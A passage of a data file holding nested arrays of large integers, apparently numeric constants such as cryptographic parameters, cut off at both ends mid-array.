35826405577699099465165357579434019020788364391831804343239075782082782911109, 84529054267969669192784676329157651942194222488230779171026414978453619092017, 273456370059621384016736154409644708608948829093566350772497698339399498884, 87469365527182188162020694931698313325096182235511831215354708193921382365539, 63793710069138851960124483386064211014858311667288037396348677182444143395174, 22165429960293272697616464385275420928231935845062172394939982331150183725742, 99894786717000685183378950205460037078341685865183525347107791900667468396879, 101816640054509675940699770863230946369031072786256822759021955460787436471499, 34701802228672442796725548776702722962487477867603613942180813448514407601137, 65981485151496470624715858975707664729317273615800998489518369469771971292446, 28082396080314030540556631390276406566970653710326814528216504961507219258205, 57788456051091965950077987391827921198217378368096969096480151615016378398465, 9314006791781182632745152808224624628378738061340601884131260699417149378350, 15737650086256932193420878324730240820597511746140789594047804700810883069903, 5384546118350749132221484462504327667013832302255030097319195566486203183532, 12287681390484899369244753788541680271669677602414711650624546736269586515546, 24412578036600978161074574105453292695867021487205726524410770337562565462934, 55468584025744994461073281530217653037107296457289464953650120493216228953223, 95263980504277365798988545077484162295714377209452372366442124072411084901547, 61576916145794337132111462772218029355038244088780360070961635249984831811498, 82508634949924944471480885973356522825045192591230744454987093002007091555676, 48308716533705008944461007286103833986858351749340431134821515097307389422668, 22308324996744595360971308794421917717227212581748975332599428335367321840977, 95962797423145733169363930616784606890845635381507132438148606491356031444698, 58067061172976522311742079643886939393491942874011691528993983224355526735443, 86513822249456884753866173343507056214173778822558806893957854498861115101310, 102741106899597395548948500125378578053865493679895368058380101352552649751869, 88014987570765426161620747675904526859270065297279144261343650837480449141437, 106227816081499019626995253850873656856501377548942280634555594351770555009292, 41166940411137901556219795700193688079404055007741882585016197484135887286300, 43867835824292845170376863490976615413182474799775274562775765405480425797760, 114972014151644729884029016806463111270861310746122525568609915721784902965008, 13332830486507071127820509314339623656801368239400943439368371321490275809161, 83352369062300565874245983824692678498715861880479115657207544797007417057700, 83278445701434566843028763170561600519252169274425400584310153399469076350104, 113486709432867454962608465399430966684017165845460880984925631140915147066473, 51727764232244825320218202790554820595373373268858312311500513486629236492172], [26642118053047418660501925234144136499434429454139669885298698752739334910519, 29122998087390560718351953055440860917397195494357375516401749337357768666602, 25449236422899962869871449791279736727412941201631873834643526682289588698142, 84077269997762933358969611492488951159902909457754657936448485524508179788810, 8584417047156354375109110762003646908166804664351275164079689836581654605367, 98856915548741091850035010185866840143856183630775966139961295127483282733079, 110495822597370504446809457909320388979243039148725561503834272240514473103749, 7525076622805246958182207614645017167234592817565679345903673486991453484590, 61503206248950126265081106958410642083656853307703198183154775977368967611434, 7723495250481851020609037477115388272668692567034661441006083794207860719610, 15686882055256252894157024786480386954069367901873990739971379843846112890478, 102028876073544924902787512694054183325055659059073699540987515839482989241603, 108696479502033643904352124206519852169787427651954914523035084749095425538952, 77293739481284429571414838094907328348427559535270938448971944040702300188386, 96212250548276861746264762645244672731020944194515358554682866713484277170566, 109342861989181205577849999184326153802947438019332046926510260877355047934194, 19846840361853590387098249849759102800395458397266130511591284510001859667050, 62131824658332248219180008850037664992222256075806601030667664605356998494810, 104865558310859497152168014342899038361341540761044473390711213630352565198451, 104139852519457035112403466889945024906577489517293458852700727675225263174567, 68965373918626270876213613042590667945662532995860381106660659441248837056944, 40689831474963331050587092032911484339308920504289497416304453673264381432444, 2825169838766614241880067335936794276768852968266197301078075964602639639470, 12212983096081906451257841321440204017306258051927356003363793982033000991043, 61928461577079009405129564692796064017369933125162590007907231002690473370932, 96230849870883494295063114306436365517865235892959653199662980106372643853237, 27400570360359297198429994162876036599506483256059758642039000240828588424142, 115741813681932596378872189998305810343224903595512224434163638952837640478024, 18015236132449276631168122801285630482280804503108744382553527586212496337331, 8078509207876706637207840021031307868949028760816588090927425657641376373684, 82719938614704621704807930772031282233124369610300928322714625191614786407270, 53722551632685981690694482358610600156889347318376907957054370071935315883813, 55760758559235123579862926212649316806709329326568560409516171379621095749777, 17897098845900338772347337828885546222012442662648706802514481637827861024943, 18455624423106714739583196226598686863677682522628171853216241221351979418985, 27981542847338090419724874587133249662258409280856794204708533216037702661628, 27180910078504218451633352593729979371344519787047203197407884165458315466163, 107739759831445367253512777483677086878327619451901177580278834912700630099247, 10904848007809831874194418562182029090635930750067409071483627514337758433940, 50298084387940760995882445271798898291254441077044842191967801629427975949906, 25439746283787318769085499509777302136519191116181936487513300486185929303805, 34898686032952526786629122003479570269938492745438538851998628500114160667841, 93051764291545266232911007657578180584451001836311441734761316558806600627596, 37542249025337251653637703530407330755243851758403775315108749600179187842578], [115037204333424979651143188569774831527280685592514089603293132327804243806922, 85808075409863132490729123907110898978430500930491342362575053774382446709356, 31728084189788463838959953391545222089092240360636303457012836484530814820248, 106271199411295057218591651347340032294684073438537569615093261956205634064790, 95752136781534881180925339370469962540417227054079336804951884810025831412738, 53632389794195845064241364073714307330464581665132524197810246789606257948350, 114913997429899408599409409980355070001522125956702468926005416350031410294888, 11203267465710567452669635452018707038300106297385044935767039913830678447989, 39068315212297237418379854981075597603765278215268466105054195225398863164185, 25479601685636899192707414095366833953866027263431983795855393801969427042043, 79826958415123324031006586720323183904293217140404267970112691487541824498998, 45173673470855865020259587911526455599273534812653965165158435557169576949065, 89424263425954357441085761205795141687877906320924850787204091574387810595179, 67204466811998182508783296124189694870261543062024783141343883924381618799986, 62850339533861445507866454480575133692317279981933031842699054545475142429521, 67523070810739312191504528221710057011109175608033216071104136624995758730747, 100283731424068140609714589842469224041497864059155738517986507813615402845482, 104015195544032592106578516733494601025718133083240490000863566878277281998089, 35992167201721209701974449665263381977818399584871729781976122291414079185717, 6668106646302816217511558903890247219171967605808253359665617925030208516695, 115157043284773700245543064237560965926540864258128666338282099112316545163379, 78378886341023873735947876441242801552969975956423525029341281351786220582904, 4141045178357331648512648976045255765874069995572637461226827070452251774402, 65481105115089665956388305521546819673447871756393967146095384549447375708072, 24318151972744091811912471168632239934542512135501304092032712395866196981907, 21649502443715332119864847838898357965028209219894871120760018989888162581913, 89991655091443582170273671251981410917547439844997881710889810937233747453328, 115342288675088280022465200367387527508276782145509267770245146613399766606061, 96237813834377170260192780338305053244365351072112593052473867679396643865175, 110280017827164496948595752795200932146027230650967177996015092684634236845206, 115299120993522361092471464085433768929086775839802151084412588630431810859970, 43469439081027942232255312806681826854276246659652828128079829708010414160881, 19260658280215806434451453651064454034380576703135861018955388303426930614647, 19976903567137871570982623815678626419606753115345314601472820471690319743856, 79691508447200867015223690368700089650543405049156095405810246696926315282670, 70524591639167780582472376198539848166356674773627210746431938630675885384037, 109082441185067775140754873048665664457199473336200214334265601225060421801533, 56825164216465481354458533157444395389269540267512791698482499713269938249944, 93693830591467104555517693226793461256175507867757143449307617985019273800298, 62823483516145334042940838561495364176704093168581797699411099543410194042488, 47358649418443839854471600397945094322052585929306333000606866237722629985979, 16311780134416042659678407327900612751380773403491756815664089190609982638934, 7446687774532651201283086009283715389466176829513846226297912021790318021573, 1165820790544505231579517908808140223057805860228091851005768700740801957100], [18090272420801980633835213385869789787378151683009331369621943975792742429198, 43647501163901784399344456355407248258450980473641503404867258716868669244351, 57965313610431659601250324430666458428258058495695849345774899564272796481982, 30868249909334655841647915208746053691174895608271472041089207941145603110763, 95412624128822537128924899963417468659101570510123199445590800331262848306679, 20290174690975482331407458066474431112647367284840026202682919753020384863165, 69170411926266271574323533184673439511080181130355684538632921827341722154618, 49982279559356886392889818978017757135148929782677689623638114590572290173487, 87659626134873372849261279189344930690802121821366325329271556401383194782834, 85449790652633636444815364351766315964083056120394428127316611255860444935791, 71139706696295402321148207131086386649101653698086913063653871653742187733695, 2996634956860465157449905914052853451363763652231099122033850530536113610360, 102351301714998161908141546218445677130941937689912774498590336033123487120208, 42674497573552654888870259135928898300053496432996095700873614034331496434302, 9670393835762641132675334981394915612382210881985261286221751226003810071799, 73094314555982008530374270248692120892525548905722376277671867815108670763178, 27138845829422103856429297693529589280143205969425864156908841826561456004585, 25396772267812995191689934470333745585374313213487762665064477524407503548383, 54393103031706276946307473113040183092929025703933626149914132869403726006220, 40802732266355650427719102419132896723097658923796318219303185492163128237480, 7125352038449337489795038131025957314484716819899140022567504665308640248163, 27777914696263859756723273372908645043325911568397429077814389315610445063111, 50072648812043346230824729485715736162462701061695254859082757809242877322559, 16658611661893301817519178875789314570119241788555637655680524612399687037619, 83502555691049180482093203165532193903128553996443277961705260057324271269302, 90340105246913142584007482721201506073319803075677767876882997785935171735366, 13473717767902689025626226329634589815746897715491664585119660840846904984184, 73456341123451486159148958117988314232271016725939113744273903832207427196545, 5384123648102561198543412870506190279146326918494057946334799722298958891259, 16695272563931958357605321064939135074448877171182651839172190861011548633874, 18955648363025538286768456118239920265732219039879379395541223456673467249608, 89571978013117743778131575205379842006868383716046417590311294258249507729865, 2947277654247534378585577416309431463493146404093216336178093750637639622053, 94734865999819548678782508169056391072769333911619577961854279195048563174844, 35538204000710331457993062483597904150058037170099743092810161042651329439858, 12166039556096338887974073940790234236643354893572211751703645015346864315125, 112849084364130769945481496320183770942378247489228266970619680993393596989249, 62036541964711590696703509456383969501635891359002744624639538591219722937109, 82103502259705741816045712904791117763965182073652746078696713474144611425108, 77019579032681844137697093720834765322583061551348975788442654947465480012544, 86668390186137372801561878987626453214732245146597203394636759683456793777652, 28436151885139975382542898844107149322717616126168890808787947832149510427445, 88043984321410900949684554345072415939839840906641120961174548292207350629886, 72785333398374817554445389517159521148526904029205921729107142587068895348230], [24745774289923764847182253998403021266439520926589617886840478013048661562005, 33512124085596821212664332882883668831679798472570492012386205698319407496058, 12830231983170233598498469906496761777919715544222209079710815390112342439445, 36956041956292411654513958140298023495873444135568398003760817281857481107170, 71419404605960659356439204927391586646229512081448001976529968731576536113250, 64742106657823674507392755245630991080824828016847430747581106986727843058103, 64079942119530281454838776494146374353965975898576889340904258800354898814377, 58662182912561006426396028586346502721774936951899077535952992682977629285287, 105464779384275163941804128707455161461280717594038188274617200582847005101679, 38040541145294448880264735427756984675124640590205503270333098881530860172570, 101320721083356897373347049796917390302853417925535314901901212939477328136817, 70837499871379310879246596956920625186637549114266757601831325066589724995536, 44597662329256144357025093468820304503831872030384761265402635745040037633992, 112753909758954242707649532812150320755143858741569595788871162192187813670059, 84629026864418381198122703362390769792370670392963409553434985517579166118054, 5949061569763658197327461537195419881592219533969722790818339951996002500, 34819190807946726581930116430761184665518320503234424644178758145516523078205, 71972942547692186284210498303083429005556940885503970364754075909883482993404, 104327852077212450965390934729033118258196058912683537194762912182772614365126, 100718139515306846521473117960047105294178511634933001872664394465914575533709, 24357058653266124006610639057278676639504670820350443272106842070684920324394, 103656733542489479325938066695584881199892908404603165756645215186594033504918, 92480494237828535720840250602033784776250644347563453689948411409432412776089, 50801286254426708805044960364565376555151399398403625296618434602641596745469, 98589458674590467382155567755572265120586033465782940329198099631338308088917, 2610562640991342750886975634832911209088552186524615938190252457515674614107, 8634250674845427458671900867178775097632080725791649406984308549940686820561, 3005891338824958419918538742349882502417295747256080088739622095698544367389, 99637922236533010606151265154988655149056345975920660229206770014752809269725, 12253050296771545218845854747686723502563075854272508493382284659227907546871, 94611593036501511232304177048525170017309437832800760231611195603312079222638, 58816537895053829456393520238672534735840426438995074481177378352451010001201, 108094359155874910074869142826646640363071311744655597049783428091683773721076, 37516879640205210410773203828726759457012681074660843676721353217714698479467, 40941007129030118647372041614109526179741500464051793195302180340853072873883, 32575902711867905826039741943153121162718487486516389908500568389629055361539, 68496751825219431178461603640835130893344156273122871600530279536724757183391, 54372457600125188865788588382348214925141888661951433637475601386591844906133, 96654727670751195854002910869020416627322032965186932894772953274698342528131, 56401802183307455603772722292588277225987846968531888324987062203877876537855, 75021352373494734709574310956923744801426117148769845354756255469514083936899, 22994502943267701401911561804688856129509657345173209840901009067141493093781, 61952339301921232027379273977069426659877311149228525466883814523726986916013, 34092269270903305142707348279262110288544540657649339294194375059845497794067], [106217340996117258160434372960505999055684520874846396358687066483565637151173, 37812617828613879547721274751135703536404134638793956999636663297934347845477, 61016532930100785906542247698318204829893973043004186651673059859952886799, 45102065392720856999165778951938104610089010072016189594840477982874609939605, 24419560004832797216656060289669862641708864193765792601223077640448393835682, 98144704572438311324200451778725089958376347200717366641287579374120125693264, 72268768154465383488280382550932316743726588606692495852413518335339751082976, 41734116707871278419149459377807330984258247333178690924895725540623502100852, 111138579144660821427548125328404801439553636466989476501575552736069299251667, 94219252636458051253994459586699544317597965577923135312149061654147306191676, 28539719233500790004004678522045069413252332879385167421352514466465739764778, 73127764099184708523242775287512639493520515949281105201945542481414447485990, 11398633299067914637588849400619359082354425558839461906521745545116699908784, 112129310485057463685718043491508723314347276230836993211939211431987292301357, 15292301214041537104574399216354845734765835841589364797415501197872831501085, 52328991480644498195608808219017268170467451312188904400038656663322465607289, 41641723001063602627677288659466433482814288896405876156587347861395197405368, 26159438817960903276571982771373280445125939360317529974314401196074763785330, 36007960289789557766048130614450199995302413168636089265158535635552157907844, 108437544235448584937158224636411402737594981741283448485256520446675585206983, 40620040279401256237795198092038740660901954154071164686145375522488046406770, 89358304243075384311220818315333979717288972631565023884488781088200000470121, 27561299544574723969261944782219329752160390981599925679643758993656950114349, 107311579796479218638493024431935914439306681195407936811858960978792853232687, 96712564333598906631321866385708443789301482983936218882893502637047165250781, 52134434266646312410002677535834839345143301404991492323639311813809863911482, 13592249982594304112688930561584830505191294516712727705969056923600504222231, 66054870336299182086074916104534393020347162423371571414607812037371049916805, 101540147265277364006228088640632801368466015902766698764401789683195398091012, 59902070592521603193281340253068981594886786878783952884285348221412525685629, 14674080459673416836496513001048675147933687700813596934476048404530733234245, 48895097002237347218176077476962880912257447408536256648353730793537068167091, 17769062980297994572796639592983798831087765934107786721350765035699008711138, 35147788271160394794577635749860622208216330512093029576746897422872481051954, 52946236970118639733004081528456503387951317922375884491745455178808763750126, 26963796153159925574959527382855232755689266515013858161753826193254908364287, 88204194325768831977872819970262567959104500829119426135468391777822074538942, 35431729115120195803017035197523137205290239066191454829042607469097972343647, 14582303377389944807286765378350959820257159367927374409027912077932687397935, 112444070626466083912030236599121324700216692453734079012307018792432431991676, 69433751739710444983914633257313239561007968758687001749976779733201887226345, 14176208645362220563786397833912975254136574927320951666221410280662183950350, 5904608322570838381276733722082306126289005447067859342128188496948444621987, 82557093389242174965150273797941932557172627689496325395687611033367535756956], [73480893855636444227663809619833898492056984881792926461304546303034167503646, 104305149797581601898651328502895688688701541552264009217340435800658908753491, 104411694230165404379621894010029344299988018894731184368056920509527389072918, 111458299095760237080032802438978006110680139091036993461717038899986505406619, 46413072789037750901671169851085132388358186028237226437883383514554761870543, 87384339487025550160762792092869822892191775697919522449911695455939982369945, 28526375079795258771489145754962160437906861739880014044448256392041362820031, 15953559737588409715746117954056654361034467940254760782986524055774330886034, 78756364375953283494320264864382571359109233041791981838570050244360734342577, 81272923841601793015660745491464263993427968118981014219086966262107260412711, 101706935774120439300850914621378510189986817706015694582747346214172763279020, 68207285574422787005496313154393270271127679290192854413966572943077858004762, 78686869300294189739612249479071739998973873264088328502776511443528570684256, 89198246246849572005422360925815215956076827653207711185357757784584907689931, 30887829327912543731395124265519441254424281523597967108452246781222419618732, 7105636558605546800204834229384989914632698203889547821280168553422502826112, 112072283901084789370407664601098993886324880752025225741355941463692036497858, 77010193966703130331090753154684978708267487099985603460071631077866487544030, 81128116260123535933663939446464113133370610902554543899141333882190391742464, 68463295654180440059436336553909942631996982681158649955661965873511731362986, 61176290580872606255183763206660518118177257672392611074246076280055805395639, 13568239896001748798990684288220029621321607157387150569364671714246705886292, 99670221651743362332720822660020600385764149760965686179309774851000199204350, 41983887073647815340932229623282524701362998026411064781982868580783609145497, 82539238805986415599835218707904043329271405667028937321120327296453291562257, 52867382712681461674362229262117219781802340420632618789534008132768761598719, 21844537791727734925837222896878336850182880220373945086424989929543191873439, 106384061086343460066347138729057783801913361486950718567914165381331650494310, 79125436689629722234736582554970597869707438540026592349647326570371635343719, 111528192753165638847133978853401234632465412476036030273307881696133632194501, 42534838507769686781229095348351940415421791724255388758356366159084675097368, 4108210267196649488508040459702628705466113267804146194505542573254433775238, 79684993958550706035158859648641889320744179748371258966659197115522326029052, 65380461816631034317258326217711052049531081953197218735394965222499676215415, 48795363148566954215995940551795984451797440635153589406958977775670119347568, 925778883200087524079487154545378452208231671436822536474954514966903860094, 30259823142562968024526503513263230016161571040673835082750934313196640325080, 73674714071601933648433470296032786100735949893030803943100387216396199582412, 2065561581149967772327889564083061171856747426592240414261809895034442543672, 74185262256979308802651981651365099233776422440547262561911819297416789404990, 27671815050116597682245268703891222166797630721759232494045547706802737620622, 91843771390508064342453382007041979506860159034163833642961893260984292739669, 83671185252839529552421984854465728115135251623680078124527398744794503847454, 43673147691958841502713024847708449444288034579600433835744525915338959160529], [2287760353861032682467206486715891608903446151969774200033598515298431050191, 88533763069019780360654488522664348738163238574450114875217614152318033945191, 77745497481489284992804203823657839273103374542680691340080368569478545584417, 50239732965934809922149232385007330887787791094708330258888984059441822475866, 20349132013674724756719438180871411020612696856870199276966587101765178239917, 105107008883857008686300913550015272156897708336425319902420071403511010407354, 106469879099337363978010774237283586347313655184678745774363359651226624380773, 84054620290793877029846846793243222181750950211151515971092463401951458320809, 83272797994423343076291429727260102202219119742251708111019991318733134420122, 23447290815968648944757141083039467097271940610388536831971240313410144554335, 47793778217579640155249109906140551467339526308401354946068923941214202083861, 19122152844860460770968977385250036090461220409172053186951407159625639413558, 115206802517991625408002537520431790615935637039694065387138621699551736891843, 62376442877477164010453381710902128665650839751124105202742550605237727219196, 70387101763587664374259573373121299919898883339383315371649138326208722574022, 23426805405927239662046640002432456930538070630925456675722478814450089694403, 36565492875193103085514418205525664714436006943690098442076805463168527899086, 35444048990641356855034992762729095233135687653631756723515152204294181938311, 13200329609930125561518006413687575822504922625274584557595775868884204984573, 97531911250413240575914649871197029329701444931407172360278833499245366695339, 49556826191882786769749907547264359427733441805805606309927196038284977280146, 55722127366163478581858159978281913951935823236507354705994196066071476823782, 18620603171023363721063501592436739548176322103793351999527322019226445121485, 41085660976282116151506556852528827920445890609651963458261512442647166065143, 14913769383896244456407144517975277766233396054211785647785881950686229149549, 66339138798135987747496036771088175825215312514870403974798903713796490042042, 4952898422374125273445480762724161301232073304955275921883177841378410273642, 100421974438158155591422018969802537141793243927619734806951138532875470612337, 114323958289940570187693957385584786315764449284946812023303721671481691270411, 13574524707899290194521773624282626833006688099148767226632147917183543079818, 18150713501072089060778006498355238627512239350768876753851564174083971440241, 69049169010002880880159010161646463274041725604694201711344237696721977047501, 53611164267412826246062879613493321478759163874405153694675326974534971192703, 23912333680561649616926100909940845515682108254802911129240951091255855260582, 77254027478689532942127695073375481455718964489053565628126144298903222177411, 95595798205574687540455915166126328399062402872336021802912142183704866730004, 82409235834087892315505884873734722959908306607926948603353642461213204805729, 43667328658721155127063949990776511167641934575071797647115859255285966185524, 69828976662884232595447389698535259107132218576376593179765238944659633919730, 42945084372869749100108070841453576470701048526092496344690227989380494813097, 106282207853411925024698490878537002811455574506205998911713084209916318645674, 27343414551204274064235120180312030853635187631397824875088407050989975520410, 56412046686858166553148682104798596619798874495670422017963236914248601743875, 10207394947255801766317655719988766421152906948553322123571672089360062410876], [50844862025518890337969980663834356917312686117647213647881951173246748734889, 8234803181704419028398419047373923672855065661536937082789066528039963116158, 109796800367910843259722054292396583792664977206008522294029818738118537400667, 41619241223767220526979040301517745563504600116053809374057703504198147111934, 69848834317858023116231099992829643492114542436146689507316261827299400021801, 4521081876282542516172206052587199321749147632820606958360728071560614851576, 108029290461430899841095551765409970861313670503196099425359984933332714989298, 32415995214255351411787699101403222952411218676456529327526479106126366135046, 106975793295495851561153906324797448287571655991847246584732276725203784166868, 78830927204313936644671119695554147058989446719907179163067542201065852151030, 109457865202725077310387640030121518954028264899784783318789441742922660301686, 77729447490093928523431970959296275119900924517063284956171558267656674815255, 91015530393297803192685971557996510348677424206651605384777785459464107336490, 6629445447390622867706758137810564087930191596989820401615740334907440797440, 80864582246941925783662462661246735272177977789634860504545485643163152147105, 87876931455665473635568433220602446073963932775712662721391676765614890199597, 1596118128864624360995475925879127509687554017169860683812811604549786150410, 9953192896821327176322615386087632261829706346777793211431718749249309232500, 4662419841352644792263328531332287286055010616529505046090521037134737016431, 86639840736870221762298238592136077879892361986406198951728352451144141402737, 15801629286477286502916610165385044011059376549141557646409757701683704662438, 18396242385326897679037252115880675992864410224303647030580848107842789603246, 24952752764402786108073337290946698236277647189199323858611343330499899269944, 113784646380809426690329317876863181882445346600013800286265765757619250765931, 58629728802099952419422179146657777311557986838904522085073952433089660441736, 8334243665550474080952638431333810583466954685964843385114766033094621865748, 5760069547928913273596800562500219267300513718075181055203783533398252223967, 35098114948146228914264309258679999896063172858520539659920350443611722432941, 45355876455150597638004451404924436783069734030048361605289748341468403176881, 50757282539784864243745000873910367462190314923621939264195355277665369870665, 86443375934035709989613267909445993133360734791672863356661262431296040370629, 58793185027795368626126921233319013885774445307416410422716760980781499791294, 12163991662321976435277868000229170427165705717263081615281157951906326325119, 9046335347283901413924435009034336880573020534311878553445236185737556561018, 22667592531744107079159188615296178908085382663507780030914708181215712330890, 16588039328235475358355034931832945365358412565541816137509172911807811936686, 73741861957176686072073532677252260109591066630625666466845917297406441667698, 78563059702706032695494115373672791154179405214174137659007717121932319265240, 60380643152935446373460640213833319686615907697746620633111479302656628234094, 83199655982171542229178696685972680967357120880182813693417007141741625177788, 8554107010376565627548538660013079475254279859181022120245172664229718703208, 90957522015505696001149787898270055888133514719015935660242194205881903521671, 36000599043458702654378767109840506608774855876227601025568393159245484874415, 15143498593813518268882029578533890603509622129170494757825926561179092212952], [39403206065811710607744302044816442308622694519433911163915231512859840703189, 100801721676959955418325807040098888114410373411324270051511146283477676175058, 56227814342635561635074819347924594433667944607703237510274742595056553308781, 10094240766850984251634753650871044969512542298967425851297668714506453717777, 17911666212148829957009440001402391775129790043706085492948048415980785213845, 49625617344635054967151518454145349283241773171210057832671124141338124681244, 11546256542137546608482474889069292241630406015751190355473533299520191672268, 85145857099127385236188369418834539476182930512408739849071314855308677469263, 63585136823222937556794870008464943596807192754096713406625430508521989167502, 8544074721879744470252277568616366420148164913683798803642022005440665821842, 14136653616825445197081208106026416794854804724019400873854937218382174121808, 17545483532548829239518845264776478136196739843208532005296680176577854893304, 105625973709414064977915388157838337248001981440830040371073838106719906244404, 107893799449395184234973462115435790033201414625580571795340018789585247235323, 33012568333910792391288522456862887239905098229230803098527476980795687624569, 53943508619288063566510732031005152815207602618737774004016203247531159535374, 9148242690606368035066088125941023019713446161572921771539292929853609334340, 106244663278034716322884970782264322936808523422640946587611032500869955885104, 79762559102386398383257894170293809216700867727882286569320890435946194964510, 104680565712307876066850455471495445564776780094767716681848070432262298111052, 83470936396987067360785939131085081496641236543701306321768621845141563459351, 85492252893523487200679608028026388572935963708983139484599080913408147104155, 104919776452739258719947572131917637902172664674848163515999192527907315078001, 3967446549228046874337465764307164564933836542681846551948249442213793221370, 107924859982763793429767522695019424382671124896662249237083836521295720395789, 40444500799346655492242020776820509359234068363027920526950202559572490924705, 24055796266589196865177603129610200967017390245026844090179755187720277051692, 17374649556462006034882892768152076465942057592736666124413294439752351289209, 48401774129424757093713924788429029161675053941475488424238591539103335353686, 100144613974614687648597854797249256137690215344963265581629421380487485315531, 57756211200226359163967142325003352604830358527772010521276736717220976747246, 107713530602918045249474000088772659242257623677072216383189692550059270647137, 41151494762253291354034949685055581023574744370744521715540469068509462808751, 50359527692890669861031478484224212613062766545932197156881157829348114266683, 7670415908082253340371905138929682797601944241712846960514458182204289553281, 103633245108955113681119182239910657718237314097562919200024046862583918749085, 106327568163814115691300298835990081713065970437751585264895944014767152126984, 107311275598727091206546116915204665428757534540095907968395282629750332125565, 82067920394856995332440789282163645918950744306358282509622568012962280591179, 55912731270320776621224193121957267122220446476239928908606145988745873086864, 71274506844178482540707112572595287855747495140747264999490755089375713410170, 50846780325362047450374281625130856470402499109312675242578549607285191127761, 24153377129577463664319418456601197821078624636074164268807000593205958071207, 2973397534138106817265987526160301766485704697846825879248935603004478707352], [115354318836603596786461656788541988137258231119145971757323440010729716580238, 53831542131327565907306298954930905964610795037329877031262399669829227162525, 87547615387062700140140548426512554958528301420989386269756888694998526795548, 110595861798537998264143649458881592494774202247667860182102065277993916217888, 25740195908820929086591652241737974127045387155534123477577296990564217315968, 98616426869468221874187662899978419188550585430751260283886907007906376763468, 114313820961529369199256953793530409280232406229602295269444287130433674675153, 50510710416038597951873802670241895711325757827798128308843934890938803889001, 115688057435604055825524330431129271875178666086044536223947590409662085109213, 30075981835076540173470606560927056644952148564531333589085042087651318800442, 68745664433898197391439243752476065154328998977806749203790129699362321597004, 15878600823736373548709960712622936969898075279629229457381907804213729567994, 1897214931417045249977077193659729715181349752180582473173080401840869105337, 33505456596757596440489213363379552830155900620891471764725684268954269848023, 30950720197085523720957512728870072147944326632625459945202549960752695399296, 43165389354516912588798588869077843254487228744686583777442780431018000718884, 26123472359294893515368212325826757512526397311151583639411699898852302401924, 21162402209322619664459055843531680505626605829455707564590273977052524055328, 2811603464391314062323458976410666284341773757962530222793814378772498503168, 88710784470296358537676119878753410439908094129100121577082261013408055586648, 42304558272728396313554995122263916109415426804996604534341351499427152889026, 71722118731157458233855028548773715336156645264926427811639087926119479329413, 26790158004093577230389835802399679868097143776012859621056748472721896296875, 35158468612979032150850448873584116371362374691771420999033868105416205112963, 46018213458040354930434674078290574455200818000221474315635620353008752920725, 98897545510454881303948991105816505719781763909264947423783151446253631697643, 67405873390284980604711388064584256464222852237127246427551063323073476078260, 24199778709127635816940629023494655632534672207830835114367414462830599542565, 8305750822587101296576187084113600521150586131045559769728010849655642337512, 114329435710137143893104383123759519237257646245959868585065466337668144235862, 9475655721513086987560452117045648096207251813076963310883567952037268350454, 17072211441182550423318137444660073447407578548207715701677955547659785543869, 58018775942002161542089092247372930051884214546930457864133947706176603452459, 97025725280904515279024583529237120372531286704302912777165113801103014271976, 67612075494237561230733373106361798793510579090326390217250937762639569786424, 66307995229314085207349389192237099925131939880138130685688726008499158376101, 68884736380777598957321910011097230386814538756160955012053536363301677740177, 42930261525031730021399981449690878700982430507387887280934637089823450156608, 94615889959526689761350055392779027345540078294698404140932006090310822930121, 33710583831313355571305575918315265250360648022269183595737497995961424581873, 70489200790719079121125487142300539227746237893737299418143776180123632511202, 88329692273989991963450451320471655243579545438998756762677662208158785911557, 33494868023401434324155006458355239492868594227486542673819720824164813152172, 65589998952330166404330555452629562962557808150810302507984939268153338492612], [107342413243987572785390999542155095957502667837337941920965706710546063492477, 47142300071882645655119141092145168661232377560049058311519297930300608559957, 93380536937077776546307453706973602009634750034917157106976079195685991362424, 26565848330798022715667148845345827525905871362219259848196103710854088815335, 50532414297531831912274522049424155832826899021503955868976151844075174373909, 34078201391897676828753139394073837851125810599132028237844005646880569258463, 4498095423363796219538628366580741834626451628401449824866284448115180856677, 113850089752659897934701590702315426890998987092522561767934722455069657052342, 79701981983598183154460724203401597324138631692918613463542812245247427686865, 35144225566613815532279077731992875729524340174701193297038629263768026449694, 56568111066870234758832953201441577160726118278693429011266769381908331486097, 42135829237330662119886564697015880872945739294208845415946089930696947817710, 55093814751936453873632911119262828514083938643435224299733193585806079980816, 54194543414025734203756728587191396204387198247917662544642360296288235775312, 15606938463811262017450415048743286454816667886608026027582570261394694543037, 31464958208839792974068579032617088997318793628121202219935564119213590048852, 1826699954330263763317480670434898528886685735496980552737500042245385689521, 115648692887735953786382104254311670806055933186467919716213116083288277742850, 18161529202245388339160686781069128111468712557208574172300419021581849923922, 112533555955187922712061192759841673779656627280588945218847064501029393748104, 16085739620013148723941753965674579746255871010588362347042740880182116167745, 17505741198422219996437127873660140328666819218176522955689332929981648214085, 100109820128753749144786870325799593491735956534564664998464305379200943482411, 16765294899979136931245512854399916649433663433856090877358772112343505499011, 28265302720560433300837722404651092913565470750928620790063427526888525777303, 83474516362599034874427594380204678318674691660714808994674833889919037392113, 745371779172364598180526339657496890258876062186435102354337638330469317127, 4782864345902200185164356063686811666449778117665100948046862357850402897064, 54166474630149711680745994926277099943524434818378424259094739584636964405518, 46846460234525067216211427521923728973981229103502617813652536918886113883096, 33755771498012880858571736499359401004847530395941844758153213915558767469729, 9819256191152643891959930458803310774046365616465884728660300427647460653412, 101993703544768750293594356995662850425801145050371378649426724509690983544101, 58756274464169871505461777704255827628981944677642279084746337520706736066910, 29650865279108300039862388080881445256844699369788190826292299360246918211310, 99015637664594279056575062225119227586935377075813412015300692478213949946883, 30498485239451501495255833882389525414520304814860307453042892007862136097598, 77677325455710621322353803307453632630138779186531189483301828418491250317656, 19755352768416465120322324604917326141333361808467076710855366935505648013704, 873947553353390281133234829339594958087773835227507195535335556213494756964, 39144339882028257886556256075540722517601316188467790748225609114564978031415, 101764775065790710095651044210085647721602787103410425712033810004276051849588, 50855048345141766651930167771625768391285528943290534173777461382836733809725, 96644294440137526454247403762709974781266370800412606741055335354541222494721], [80499882471179258553283441577526398322405439519446784961723250748219617013881, 86682854361127650217963493774784406593394966356227012199372128308148786828177, 53775178452365259202837082245322999095454869150087756706811702244762741257396, 95312619319967906738843970898573766584007944224964336254436867642450180157426, 37434063472577300183567719451272095525440490879472037549317894951319331749199, 8285608304579498188672899887315052243216693259863155715650752315669092523560, 72442371983731317596713646591359932728339084519341209260297065025937752833887, 111949595997743152101468041544338460480881773166470018588814414222856608676001, 114538349773716054968734391232526000424447189831052517415025347174815587601596, 47271037585634602040952650602582335737834659107630135494260035228571658674829, 41990829643077622286735138749082662081453870119985857427256263100608008368728, 107939039204270911712421298883564788759121339548703264333712055915422897706732, 55194867601936248558427476264306535776203365998519173465736749209930304415343, 50376336098436321950945946437890092835328873475290454771769349968053772719608, 